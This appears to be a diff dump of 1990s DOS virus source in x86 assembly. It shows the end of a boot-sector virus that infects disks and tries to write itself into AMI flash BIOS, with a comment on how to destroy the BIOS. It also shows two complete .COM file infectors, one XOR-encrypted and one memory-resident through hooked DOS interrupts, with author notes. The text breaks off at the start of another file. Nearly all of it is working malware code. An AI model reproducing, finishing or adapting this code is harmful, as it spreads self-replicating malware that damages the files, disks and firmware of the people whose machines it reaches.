;*** 40:[13] - memory in k's - reduce by one or so ***
|
||||
|
||||
dec word ptr [413h] ;0:413 = Memory in K, Sub one K.
|
||||
|
||||
int 12h ;Get memory into AX
|
||||
;Since memory is in K we have to
|
||||
;multiply by 1024. To do that we
|
||||
;would SHL AX,10. But because we are
|
||||
;looking for the segment that takes
|
||||
;4 bits off the equation.
|
||||
|
||||
mov cl,6
|
||||
shl ax,cl ;Thus SHL AX,6
|
||||
mov es,ax ;ES = Virus Segment
|
||||
|
||||
|
||||
;*** read virus sector into TOM (top of memory) ***
|
||||
|
||||
xor di,di
|
||||
mov cx,200h
|
||||
cld
|
||||
rep movsb ;Move virus to ES:0
|
||||
|
||||
mov ax,word ptr [13h*4] ;Get int13h from vector table.
|
||||
mov word ptr es:[offset i13],ax
|
||||
mov ax,word ptr [13h*4+2]
|
||||
mov word ptr es:[offset i13+2],ax
|
||||
|
||||
mov word ptr [13h*4],offset handler
|
||||
mov word ptr [13h*4+2],es
|
||||
|
||||
already_resident:
|
||||
|
||||
push es
|
||||
mov ax,offset restart
|
||||
push ax
|
||||
retf
|
||||
|
||||
Restart:
|
||||
;Load the original bootsector from the end of the root directory and
|
||||
;execute it.
|
||||
xor ax,ax
|
||||
call int13h
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov bx,7c00h ;Where it's meant to be.
|
||||
|
||||
mov cx,2 ;Read HD boot strap from MBR.
|
||||
xor dh,dh
|
||||
mov ax,201h ;Read one sector from root directory.
|
||||
cmp dl,80h
|
||||
jae MBR_Loader
|
||||
;load up floppy
|
||||
mov cl,14 ;Cylinder=0, Sector=14
|
||||
mov dh,1 ;Head=1
|
||||
|
||||
MBR_Loader:
|
||||
call int13h
|
||||
|
||||
push dx ;DL=Drive we are at.
|
||||
|
||||
cmp byte ptr cs:flash_done,1 ;flash is already infected.
|
||||
je flash_resident
|
||||
|
||||
call flash_BIOS ;Infect flash BIOS if any.
|
||||
|
||||
Flash_resident:
|
||||
|
||||
pop dx
|
||||
|
||||
db 0eah ;JMPF 0000:7C00H
|
||||
dw 7c00h
|
||||
dw 0
|
||||
|
||||
Stealth:
|
||||
|
||||
mov cx,2
|
||||
mov ax,201h
|
||||
cmp dl,80h
|
||||
jae hd_stealth
|
||||
mov cl,14
|
||||
mov dh,1
|
||||
hd_stealth:
|
||||
call int13h
|
||||
jmp pop_exit
|
||||
res_test:
|
||||
xchg ah,al
|
||||
iret
|
||||
Handler:
|
||||
cmp ax,0abbah
|
||||
je res_test
|
||||
cmp ah,2 ;Reading the first sector ?
|
||||
jne jend
|
||||
cmp cx,1
|
||||
jne jend
|
||||
cmp dh,0
|
||||
jne jend
|
||||
|
||||
try_infect:
|
||||
|
||||
call int13h
|
||||
jc jend
|
||||
|
||||
pushf
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
|
||||
;Test if already infected.
|
||||
|
||||
cmp word ptr es:[bx + offset marker],'LV'
|
||||
je stealth ;Already infected.
|
||||
|
||||
cmp dl,80h ;C:
|
||||
jb infect_floppy
|
||||
|
||||
mov cx,2 ;Sector 2 - Empty MBR space.
|
||||
xor dh,dh
|
||||
jmp write_virus
|
||||
|
||||
Infect_Floppy:
|
||||
;Store at end of root directory for floppy drives.
|
||||
;(Will fuck up on 360k but I dont give a shit!)
|
||||
|
||||
mov cx,14 ;Cylinder=0, Sector=14
|
||||
mov dh,1 ;Head=1
|
||||
|
||||
Write_Virus:
|
||||
;Write original boot sector to spare room.
|
||||
|
||||
mov ax,301h
|
||||
call int13h
|
||||
jc pop_exit
|
||||
|
||||
;The virus is written at this point.
|
||||
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov byte ptr cs:flash_done,0
|
||||
|
||||
xor bx,bx
|
||||
mov ax,301h ;Write virus.
|
||||
mov cx,1
|
||||
xor dh,dh
|
||||
call int13h
|
||||
|
||||
Pop_Exit:
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf
|
||||
|
||||
retf 2
|
||||
|
||||
jend:
|
||||
db 0eah ;Stands for Jmpf
|
||||
i13 dd 0 ;The original int13h
|
||||
|
||||
|
||||
Int13h proc near
|
||||
|
||||
pushf
|
||||
call dword ptr cs:[i13]
|
||||
ret
|
||||
|
||||
Int13h endp
|
||||
|
||||
Marker db 'VLAD' ;Running out of room so small
|
||||
;marker.
|
||||
|
||||
|
||||
Flash_BIOS Proc Near
|
||||
|
||||
; Flash BIOS infection (c) 1994 Qark/VLAD!
|
||||
|
||||
;Disclaimer: If any of this wrecks your computer that's your bad luck
|
||||
;because you know this is dangerous code.
|
||||
|
||||
;I just hope that AMIFLASH is loaded at boot and isn't a driver. Since it's
|
||||
;written by a BIOS maker you'd think so...
|
||||
|
||||
|
||||
mov ax,0e000h ;Get flash BIOS number.
|
||||
int 16h ;Test for its presence.
|
||||
jc no_flash_bios
|
||||
cmp al,0fah ;<-- gotta test this
|
||||
jne no_flash_bios
|
||||
|
||||
Infect_Flash:
|
||||
|
||||
;We are now working with AMIFLASH!
|
||||
|
||||
;First we'll find a nice place to store our virus.
|
||||
; We'll scan between F000-FFFF where BIOS is normally stored for
|
||||
; a 1K chunk of consecutive zeros. (We might only need half a K
|
||||
; but I'm overplanning)
|
||||
|
||||
mov ax,0f000h ;ROM BIOS segment
|
||||
mov ds,ax
|
||||
|
||||
New_segment:
|
||||
|
||||
xor si,si
|
||||
xor dx,dx
|
||||
|
||||
ok_new_segment:
|
||||
|
||||
inc ax
|
||||
mov ds,ax
|
||||
|
||||
cmp ax,0fff0h ;No room for our virus.
|
||||
je no_flash_BIOS
|
||||
Test16:
|
||||
cmp word ptr [si],0 ;Scan words
|
||||
jne new_segment
|
||||
|
||||
inc dx ;DX is our free room counter.
|
||||
cmp dx,512 ;1024 byte buffer found (512x2)
|
||||
je found_storage
|
||||
|
||||
inc si
|
||||
inc si ;Coz we are messing with words.
|
||||
|
||||
cmp si,16 ;We are going up in paragraphs.
|
||||
je ok_new_segment
|
||||
jmp test16
|
||||
|
||||
|
||||
Found_storage:
|
||||
sub ax,40h ;Sub 1K (40hx16=1024)
|
||||
mov ds,ax ;Coz we are using segments
|
||||
|
||||
mov ax,0e001h ;Chipset save requirement.
|
||||
int 16h
|
||||
|
||||
;BX=Number of bytes to Save Chipset.
|
||||
|
||||
cmp bx,512
|
||||
jbe save_chipset
|
||||
|
||||
;We won't bother saving the chipset because it takes up more room
|
||||
;than our virus buffer can store. Fuck em :)
|
||||
|
||||
mov byte ptr cs:chipset,1 ;Indicate we haven't saved anything.
|
||||
|
||||
jmp write_enable
|
||||
No_Flash_BIOS:
|
||||
ret
|
||||
save_chipset:
|
||||
mov byte ptr cs:chipset,0 ;We've saved stuff.
|
||||
|
||||
mov al,2
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
mov di,offset buffer
|
||||
int 16h ;Chipset Status to ES:DI
|
||||
|
||||
write_enable:
|
||||
|
||||
mov al,5
|
||||
int 16h ;Raise Voltage (this may take time).
|
||||
|
||||
mov al,7 ;Flash Write Enable.
|
||||
int 16h
|
||||
|
||||
;Flash Memory is now writable. I am working on nothing here
|
||||
;so I'll assume you just write to it normally and it'll be
|
||||
;put there. If you were into writing destructive payloads
|
||||
;this would be the mother of them all. Just load CX with 0ffffh
|
||||
;to trash their computer. Also, leaving the computer in this
|
||||
;state for extended periods could cause damage (Dunno ? Their
|
||||
;electricity bill would go up at least :)
|
||||
|
||||
push ds
|
||||
pop es ;DS=ES=Place to put virus.
|
||||
|
||||
xor di,di
|
||||
mov cx,512 ;<-- FFFF = trouble!
|
||||
push cs
|
||||
pop ds ;DS=CS
|
||||
xor si,si
|
||||
cld
|
||||
rep movsb ;Move our virus into BIOS.
|
||||
|
||||
;Hopefully our virus is written ?
|
||||
|
||||
;Ok, I looked into this carefully. At bootup int19h points
|
||||
;into the BIOS but thereafter is grabbed by various programs
|
||||
;(Dunno why, its the shittiest interrupt out). So, if you debug
|
||||
;right now it'll point into some shadowed area or else into
|
||||
;segment 70h, but it won't at bootup which is the only time boot
|
||||
;sector viruses get executed so all is cool.
|
||||
|
||||
;What we'll do is modify the actual bytes at the entry point to
|
||||
;the interrupt. You might think I should do something else but
|
||||
;I can't think of any other way of hooking an interrupt at bootup.
|
||||
|
||||
;Priest-P/S reckoned I should just store my virus in the Flash
|
||||
;and let the bootvirus just jump to it or something but then
|
||||
;it's not really infected methinks. He also suggested I just modify
|
||||
;the int13h entry point and restore the bytes etc. Well as you can
|
||||
;see from the involved code needed just to write to flash I think
|
||||
;that with a common interrupt like int13h it isn't feasible.
|
||||
|
||||
;Get Segment:Offset of original int19handler
|
||||
|
||||
mov bx,es ;BX=Virus Segment
|
||||
xor ax,ax
|
||||
mov ds,ax ;DS=Vector Table.
|
||||
mov di,word ptr [19h*4] ;Offset of int19h
|
||||
mov es,word ptr [19h*4+2] ;Segment of 19h
|
||||
|
||||
;Write a JMP FAR at the int19h entry point.
|
||||
mov al,0eah
|
||||
stosb
|
||||
mov ax,offset int19handler
|
||||
stosw
|
||||
mov ax,bx
|
||||
stosw ;Creates a JMPF INT19HANDLER at the
|
||||
;int19h entry point.
|
||||
|
||||
mov ax,0e004h ;Lower Voltage.
|
||||
int 16h
|
||||
|
||||
mov al,6 ;Write Protect.
|
||||
int 16h
|
||||
|
||||
cmp byte ptr cs:chipset,0
|
||||
jne No_Flash_BIOS ;We've done for this one.
|
||||
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
|
||||
mov al,3
|
||||
mov di,offset buffer ;Restore all their shit.
|
||||
int 16h
|
||||
jmp no_flash_bios
|
||||
|
||||
chipset db 0 ;1=chipset not saved
|
||||
flash_done db 0 ;1=loaded from flash.
|
||||
|
||||
;This is our own int19h handler. The original sux because it isn't infected.
|
||||
;(Strange logic :)
|
||||
Int19Handler Proc Near
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax ;ES=0
|
||||
|
||||
mov ax,0abbah ;ABBA - from Muriels Wedding.
|
||||
int 13h
|
||||
|
||||
cmp ax,0baabh ;BAAB - I like these.
|
||||
jne real_int19h
|
||||
|
||||
;We are currently before the boot here. Lets install our virus before
|
||||
;any boot sectors or anything get loaded.
|
||||
|
||||
push cs ;DS=0
|
||||
pop ds
|
||||
cld
|
||||
xor si,si
|
||||
mov di,7c00h
|
||||
mov cx,512
|
||||
rep movsb ;Move our virus from BIOS into boot buffer.
|
||||
mov dl,80h ;Make it think its C:
|
||||
jmp goto_Buffer ;Execute it.
|
||||
|
||||
real_int19h:
|
||||
xor ax,ax
|
||||
int 13h ;Reset disk
|
||||
|
||||
mov cx,1
|
||||
mov dh,0
|
||||
mov ax,201h
|
||||
mov bx,7c00h
|
||||
cmp dl,0
|
||||
ja hd_int19h
|
||||
|
||||
int 13h ;Read boot sector.
|
||||
jc fix_hd
|
||||
|
||||
Goto_Buffer:
|
||||
mov byte ptr es:[7c00h+offset flash_done],1
|
||||
|
||||
db 0eah ;JMPF 0000:7C00
|
||||
dw 7c00h
|
||||
dw 0
|
||||
Fix_HD:
|
||||
mov dl,80h ;Boot from C:
|
||||
HD_Int19h:
|
||||
xor ax,ax
|
||||
int 13h ;Reset controller.
|
||||
mov ax,201h
|
||||
int 13h
|
||||
jc fucked_boot
|
||||
jmp Goto_Buffer
|
||||
|
||||
Fucked_boot:
|
||||
int 18h ;Called when a boot fucks up
|
||||
|
||||
Int19Handler EndP
|
||||
|
||||
Flash_BIOS EndP
|
||||
|
||||
End_Virus:
|
||||
DupSize equ 510 - offset End_Virus
|
||||
db DupSize dup (0)
|
||||
db 55h,0aah ;End of Sector Marker.
|
||||
|
||||
Buffer: ;512 bytes of storage space in here.
|
||||
|
||||
@@ -0,0 +1,203 @@
|
||||
;well, here's the next installment of the merde virus...all that is new;
|
||||
;is your run of the mill xor encryption........and a little change in;
|
||||
;the code itself to make it slightly more modular...;
|
||||
;up+coming: .exe version(why put 'em together? makes it too big);
|
||||
; an actual function besides infect!;
|
||||
; TSR infect version?;
|
||||
attrib equ 21
|
||||
time equ 22
|
||||
date equ 24
|
||||
fspec_address equ 0e4h
|
||||
filesize equ 26
|
||||
fname equ 30
|
||||
dta equ 80h
|
||||
virsize equ 354
|
||||
byte_compare_val equ 35
|
||||
CODE_SEG SEGMENT BYTE
|
||||
ASSUME DS:CODE_SEG, CS:CODE_SEG
|
||||
ORG 100h
|
||||
first: jmp caller
|
||||
db 128 dup(00)
|
||||
caller: call caller2 ;si=this address for the whole thing;
|
||||
|
||||
;ok, for encryption, we use the value of the byte at the jump instruction;
|
||||
;if the file we find isn't infected...;
|
||||
|
||||
encryptv: db ?
|
||||
|
||||
;si=offset of the "caller";
|
||||
|
||||
caller2: pop si
|
||||
sub si,3
|
||||
jmp getstart
|
||||
|
||||
;jmp to getstart and have it call us back, getting the address of "start";
|
||||
;into es..(I know, why not just add the size of the stuff to si?;
|
||||
;I'll do it some other time;
|
||||
|
||||
after: pop es ;es=start:;
|
||||
|
||||
;okay, I decided, arbitrarily, to use bp and jump from the encrypt;
|
||||
;function so it was more unsingular to a particular circumstance;
|
||||
|
||||
mov bp,es ;unencrypt de code+jump to virus;
|
||||
jmp encrypt
|
||||
|
||||
;if we are being called from the write proc, we need to save BP on the stack;
|
||||
|
||||
encrypt_w: mov ax,bp ;ax=whereto jump at end;
|
||||
pop bp ;bp=return to write routine;
|
||||
push ax ;where to jump at end is on stack
|
||||
;note the standard, run o' the mill encrypt/decrypt!;
|
||||
|
||||
encrypt: push bx ;might not be needed, I'll check later;
|
||||
push si
|
||||
mov cl,[si+3] ;offset of encrypt value;
|
||||
mov bx,es ;where to start encrypting;
|
||||
xor si,si
|
||||
xloop: mov al,[bx+si]
|
||||
xor al,cl
|
||||
mov [bx+si],al
|
||||
cmp si,0e7h ;size of post-start(or close enough);
|
||||
ja done
|
||||
inc si
|
||||
jmp xloop
|
||||
done: pop si
|
||||
pop bx
|
||||
jmp bp ;jump whereever we were supposed to;
|
||||
|
||||
write_code: call encrypt_w ;yep, encrypt it;
|
||||
pop bp ;get back address in this infected file;
|
||||
mov bx,[di+9] ;file to jump to, and file handle;
|
||||
mov ah,40h
|
||||
mov cx,virsize ;total virus size
|
||||
mov dx,si
|
||||
int 21h
|
||||
call close_current
|
||||
jmp nofiles ;not really, just didn't change name;
|
||||
;this proc closes the file with original stats;
|
||||
close_current:
|
||||
mov dx,[di+14]
|
||||
mov cx,[di+12]
|
||||
mov ax,5701h
|
||||
mov bx,[di+9]
|
||||
int 21h
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
mov ax,4301h
|
||||
xor ch,ch
|
||||
mov cl,[di+11]
|
||||
int 21h
|
||||
ret
|
||||
nofiles: push ds
|
||||
pop es
|
||||
jmp bp
|
||||
|
||||
getstart: call after
|
||||
|
||||
|
||||
;encrypted from here on out-es=start of this procedure;
|
||||
start: mov di,es
|
||||
add di,fspec_address ;di=ADDRESS OF FILESPEC!;
|
||||
mov dh,[di+18]
|
||||
mov ah,[di+17]
|
||||
mov al,[di+16]
|
||||
mov bx,100h
|
||||
mov [bx],al
|
||||
mov [bx+1],ah
|
||||
mov [bx+2],dh
|
||||
mov bp,bx
|
||||
mov ah,4eh ;------------------;
|
||||
mov cx,33
|
||||
mov dx,di ;find file match;
|
||||
search: int 21h
|
||||
jc nofiles ;get out if none found;
|
||||
mov bx,dta+filesize ;compare filesize via BX;
|
||||
cmp word ptr [bx],65000
|
||||
ja leave1
|
||||
cmp word ptr [bx],150
|
||||
jb leave1
|
||||
jmp ok
|
||||
leave1: mov ah,4fh
|
||||
jmp search
|
||||
ok: CLC
|
||||
|
||||
;Okay-- DI=base of fspec;
|
||||
mov bx,dta+attrib
|
||||
mov al,[bx]
|
||||
mov [di+11],al ;save attrib;
|
||||
mov ax,word ptr [bx+1]
|
||||
mov [di+12],ax ;save time;
|
||||
mov ax,word ptr [bx+3]
|
||||
mov [di+14],ax ;save date;
|
||||
mov ax,4301h
|
||||
mov cx,0
|
||||
mov dx,dta+fname
|
||||
int 21h ;set attrib to 0;
|
||||
label2: mov ax,3d02h
|
||||
int 21h
|
||||
mov [di+9],ax ;open + save handle;
|
||||
mov bx,ax
|
||||
mov ah,3fh
|
||||
mov cx,3
|
||||
mov dx,di
|
||||
add dx,16 ;dx points to save area for first three bytes;
|
||||
int 21h ;open handle, and read 3 bytes into it;
|
||||
cmp byte ptr [di+16],0e9h
|
||||
jne label1
|
||||
cont: mov ax,4200h
|
||||
xor cx,cx
|
||||
mov dx,[di+17]
|
||||
add dx,3+byte_compare_val
|
||||
mov bx,[di+9]
|
||||
int 21h
|
||||
mov ah,3fh
|
||||
mov cx,2
|
||||
mov dx,di
|
||||
add dx,6
|
||||
int 21h
|
||||
mov dx,[di+6]
|
||||
cmp dx,[si+byte_compare_val]
|
||||
jne label1
|
||||
call close_current
|
||||
jmp leave1
|
||||
label1:
|
||||
;set encrypt value here---(low order byte of filesize of next file;
|
||||
mov bx,dta+filesize
|
||||
mov dl,[bx]
|
||||
mov [si+3],dl
|
||||
mov bx,[di+9]
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
mov dx,0
|
||||
int 21h
|
||||
;okay, this is kinda thick..;
|
||||
;set pointer to after jmp instruct, and change address to size;
|
||||
;of file plus 3 for jmp instruction, minding that we have to flip stuff;
|
||||
mov bx,dta+filesize
|
||||
mov dh,[bx+1] ;high val equals 2nd part of word+vice versa;
|
||||
mov dl,[bx]
|
||||
sub dx,3
|
||||
mov [di+7],dx
|
||||
mov byte ptr [di+6],0e9h
|
||||
mov ah,40h
|
||||
mov bx,[di+9]
|
||||
mov dx,di
|
||||
add dx,6
|
||||
mov cx,3
|
||||
int 21h
|
||||
xor cx,cx
|
||||
mov ax,4202h
|
||||
xor dx,dx
|
||||
int 21h
|
||||
jmp write_code
|
||||
|
||||
fspec: db '*.com',0 ;bx+0;
|
||||
disk_buffer: db 3 DUP(?) ;di+6;
|
||||
handle: dw ? ;di+9;
|
||||
attribute: db ? ;di+11;
|
||||
otime: dw ? ;di+12;
|
||||
odate: dw ? ;di+14;
|
||||
first_3: db 0cdh,20h,00 ;di+16;
|
||||
CODE_SEG ENDS
|
||||
END first
|
||||
@@ -0,0 +1,405 @@
|
||||
; MERDE-3: A resident, non-overwriting .Com infector by the loki-nator
|
||||
|
||||
;Well, here it is, for what it's worth.. It is really kind of a
|
||||
;piece of crap, but it is just a rough draft..
|
||||
;NOTES:
|
||||
; If this gets into Command.Com, it (command) won't work for unknown reasons..
|
||||
; I could have fixed it by just checking to make sure the file it is infecting
|
||||
; isn't command.com, but I decided that this would be it's harmful side effect
|
||||
; and left it... I will have to fix several things in it, like its memory
|
||||
; handling, etc... It only infects files when they are loaded for EXECUTION!
|
||||
; it won't infect .com files loaded by debug via AX=4b03, or al=anything
|
||||
; except 00.... Also, it hooks int 71 for its own type of multiplex
|
||||
; interrupt to check if the resident portion is already installed..
|
||||
; I don't know if that will get me in trouble or not. This is not very well
|
||||
; tested, so it may hand under some circumstances or ill-behaved programs
|
||||
; that mess with the memory (like I did)... Well, I need to add .exe
|
||||
; infection, or I will be just a wanna-be virus writer!
|
||||
; At this very moment, I will probably modify it for infection of any function
|
||||
; that gives INT 21 a DS:DX pointer to a com file.
|
||||
; Oh, yeah- If you compile it, you have to run the included Maker.bat file
|
||||
; after you have compiled it (Use Tasm, but I guess anything will work.)
|
||||
|
||||
; Any GOOD virus writers out there will obviously notice how inefficient this
|
||||
; is, so if you do, leave me mail with some pointers....
|
||||
|
||||
compare_val equ 900
|
||||
interrupt equ 21h
|
||||
Code_seg Segment Byte
|
||||
Assume DS:Code_seg, CS:Code_seg
|
||||
ORG 100h
|
||||
start: mov di,0100h ;di=start
|
||||
mov si,bx
|
||||
add si,offset five_bytes-100h
|
||||
mov cx,5
|
||||
rep movsb
|
||||
int 71h
|
||||
cmp ax,9999h
|
||||
jne okay
|
||||
mov ax,0100h
|
||||
xor si,si
|
||||
xor si,di
|
||||
xor cx,cx
|
||||
jmp ax
|
||||
okay: mov di,bx
|
||||
sub di,100h
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov ax,es:[interrupt*4]
|
||||
mov bx,es:[interrupt*4+2]
|
||||
mov [di+int_21_saveo],ax
|
||||
mov [di+int_21_saves],bx
|
||||
push cs
|
||||
pop es
|
||||
mov [di+orig_stackp],sp
|
||||
cli
|
||||
mov sp,di
|
||||
add sp,offset my_stack
|
||||
sti
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push bp
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
mov [di+my_stack_save],sp
|
||||
cli
|
||||
mov sp,[di+orig_stackp]
|
||||
sti
|
||||
int 12h
|
||||
mov bx,cs
|
||||
mov cx,1024
|
||||
mul cx
|
||||
clc
|
||||
mov cx,400h
|
||||
sub ax,cx
|
||||
sbb dx,0000 ;dx:ax=where we want this mem to end!
|
||||
mov [di+high_ram],dx
|
||||
mov [di+low_ram],ax
|
||||
here: mov cx,cs
|
||||
mov ax,0010h
|
||||
mul cx
|
||||
clc
|
||||
mov cx,di
|
||||
add cx,offset ending
|
||||
add ax,cx
|
||||
adc dx,0000
|
||||
clc
|
||||
sub [di+low_ram],ax
|
||||
sbb [di+high_ram],dx
|
||||
clc
|
||||
mov ax,[di+low_ram]
|
||||
mov dx,[di+high_ram]
|
||||
mov cx,0010h
|
||||
div cx ;dx:ax=memory above this-divide it by 16
|
||||
mov bx,ax
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
jnc okay_1
|
||||
jmp get_out
|
||||
okay_1: mov ah,48h
|
||||
mov bx,60h
|
||||
int 21h
|
||||
mov [my_segment+di],ax
|
||||
jnc okay_2
|
||||
jmp get_out
|
||||
okay_2: push di
|
||||
xor di,di
|
||||
xor si,si
|
||||
mov es,ax
|
||||
mov cx,100h
|
||||
rep movsb
|
||||
pop si
|
||||
push si
|
||||
add si,100h
|
||||
mov cx,offset ending-100h
|
||||
rep movsb
|
||||
pop di
|
||||
mov dx,es
|
||||
sub dx,1
|
||||
mov es,dx
|
||||
mov es:[1],ax
|
||||
mov byte ptr es:[0],'Z'
|
||||
mov word ptr es:[3],0000
|
||||
mov es,ax
|
||||
mov es:[16h],ds
|
||||
mov ax,offset return_to_file
|
||||
add ax,di
|
||||
mov es:[0ah],ax
|
||||
mov es:[0ch],ds
|
||||
mov ah,50h
|
||||
mov bx,es
|
||||
int 21h
|
||||
mov dx,600h
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ss
|
||||
mov word ptr cs:[return_to_file+di+1],di
|
||||
mov sp,600h
|
||||
int 27h
|
||||
return_to_file:
|
||||
mov di,0000
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov bx,offset my_21
|
||||
mov ax,cs:[di+my_segment]
|
||||
mov word ptr es:[interrupt*4],bx
|
||||
mov word ptr es:[interrupt*4+2],ax
|
||||
mov word ptr es:[71h*4+2],ax
|
||||
mov bx,offset my_71
|
||||
mov word ptr es:[71h*4],bx
|
||||
mov ax,cs
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,cs:[my_stack_save+di]
|
||||
sti
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cli
|
||||
mov sp,cs:[di+orig_stackp]
|
||||
sti
|
||||
mov ax,0100h
|
||||
jmp ax
|
||||
get_out:
|
||||
mov ax,cs
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,cs:[di+my_stack_save]
|
||||
sti
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop bp
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cli
|
||||
mov sp,cs:[di+orig_stackp]
|
||||
sti
|
||||
mov ax,0100h
|
||||
jmp ax
|
||||
|
||||
|
||||
;------------------------------------------------------------------
|
||||
|
||||
my_21:
|
||||
cmp ah,4bh
|
||||
je continue_with_it
|
||||
jmp continue_21
|
||||
continue_with_it:
|
||||
cmp al,00
|
||||
je okay_go
|
||||
jmp continue_21
|
||||
okay_go:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push es
|
||||
push di
|
||||
push si
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
check_file:
|
||||
mov bx,dx
|
||||
xor si,si
|
||||
looper:
|
||||
cmp byte ptr ds:[bx+si],'.'
|
||||
je check_com
|
||||
cmp si,35
|
||||
jle okay5
|
||||
jmp give_up1
|
||||
okay5: inc si
|
||||
jmp looper
|
||||
check_com:
|
||||
inc si
|
||||
cmp byte ptr ds:[bx+si],'c'
|
||||
je check_for_infection
|
||||
cmp byte ptr ds:[bx+si],'C'
|
||||
je check_for_infection
|
||||
jmp give_up1
|
||||
check_for_infection:
|
||||
mov cs:[high_file],ds
|
||||
mov cs:[low_file],dx
|
||||
mov ah,50h ;set PSP to ours
|
||||
push cs
|
||||
pop bx
|
||||
call dos_21
|
||||
mov ah,43h
|
||||
xor al,al
|
||||
call dos_21
|
||||
jnc okay9
|
||||
jmp give_up
|
||||
okay9: mov cs:[attrib],cx
|
||||
mov ah,43h
|
||||
mov al,1
|
||||
xor cx,cx
|
||||
call dos_21
|
||||
mov ah,3dh
|
||||
mov al,2
|
||||
call dos_21
|
||||
jnc okay10
|
||||
jmp give_up
|
||||
okay10: mov cs:[handle],ax
|
||||
mov bx,ax
|
||||
mov ah,57h
|
||||
xor al,al
|
||||
call dos_21
|
||||
mov cs:[date],dx
|
||||
mov cs:[time],cx
|
||||
mov al,2
|
||||
mov ah,42h
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
call dos_21
|
||||
jnc okay11
|
||||
jmp give_up
|
||||
okay11: cmp dx,0
|
||||
je okay12
|
||||
jmp give_up
|
||||
okay12: mov cs:[file_size],ax
|
||||
cmp ax,64000
|
||||
jb contin1
|
||||
call reset_all
|
||||
jmp give_up
|
||||
contin1:
|
||||
cmp ax,1024
|
||||
jnb contin2
|
||||
call reset_all
|
||||
jmp give_up
|
||||
contin2:
|
||||
sub ax,compare_val
|
||||
mov dx,ax
|
||||
xor cx,cx
|
||||
mov ah,42h
|
||||
xor al,al
|
||||
mov bx,cs:[handle]
|
||||
call dos_21
|
||||
mov ah,3fh
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset buffer
|
||||
mov cx,2
|
||||
call dos_21
|
||||
mov ax,word ptr cs:[buffer]
|
||||
mov bx,word ptr cs:[offset ending-compare_val]
|
||||
cmp ax,bx
|
||||
jne infect_it
|
||||
call reset_all
|
||||
jmp give_up
|
||||
infect_it:
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov bx,cs:[handle]
|
||||
mov ax,4200h
|
||||
call dos_21
|
||||
mov ah,3fh
|
||||
mov cx,5
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset five_bytes
|
||||
call dos_21
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
call dos_21
|
||||
mov ax,cs:[file_size]
|
||||
add ax,100h
|
||||
mov word ptr cs:[jumper+1],ax
|
||||
mov ah,40h
|
||||
mov cx,offset ending-100h
|
||||
mov dx,0100h
|
||||
call dos_21
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h
|
||||
mov bx,cs:[handle]
|
||||
call dos_21
|
||||
mov dx,offset jumper
|
||||
mov ah,40h
|
||||
mov cx,5
|
||||
call dos_21
|
||||
call reset_all
|
||||
give_up:
|
||||
mov ah,50h
|
||||
mov bx,cs:[high_file]
|
||||
call dos_21
|
||||
give_up1:
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop si
|
||||
pop di
|
||||
pop es
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp continue_21
|
||||
continue_21:
|
||||
jmp dword ptr cs:[int_21_saveo]
|
||||
dos_21:
|
||||
pushf
|
||||
call dword ptr cs:[int_21_saveo]
|
||||
ret
|
||||
|
||||
reset_all:
|
||||
mov bx,cs:[handle]
|
||||
mov cx,cs:[time]
|
||||
mov dx,cs:[date]
|
||||
mov ax,5701h
|
||||
call dos_21
|
||||
mov ah,3eh
|
||||
mov bx,cs:[handle]
|
||||
call dos_21
|
||||
mov ah,43h
|
||||
mov al,1
|
||||
mov cx,cs:[attrib]
|
||||
mov ds,cs:[high_file]
|
||||
mov dx,cs:[low_file]
|
||||
call dos_21
|
||||
ret
|
||||
my_71:
|
||||
mov ax,9999h
|
||||
iret
|
||||
dw 44 dup(00)
|
||||
my_stack:
|
||||
jumper: mov bx,0000
|
||||
jmp bx
|
||||
file_size dw 0000
|
||||
high_file dw 0000
|
||||
low_file dw 0000
|
||||
handle dw 0000
|
||||
attrib dw 0000
|
||||
date dw 0000
|
||||
time dw 0000
|
||||
int_21_saveo dw 0000
|
||||
int_21_saves dw 0000
|
||||
orig_stackp dw 0000
|
||||
my_stack_save dw 0000
|
||||
high_ram dw 0000
|
||||
low_ram dw 0000
|
||||
my_segment dw 0000
|
||||
buffer: db 10 dup(00)
|
||||
five_bytes: db 0cdh,20h,90h,90h,90h
|
||||
my_little_message_to_the_world:
|
||||
|
||||
db 'Scan me, I LIKE IT!!!!-Loki-nator!'
|
||||
ending:
|
||||
Code_seg ENDS
|
||||
END start
|
||||
@@ -0,0 +1,613 @@
|
||||
; Okay, here is my newest version.. It now
|
||||
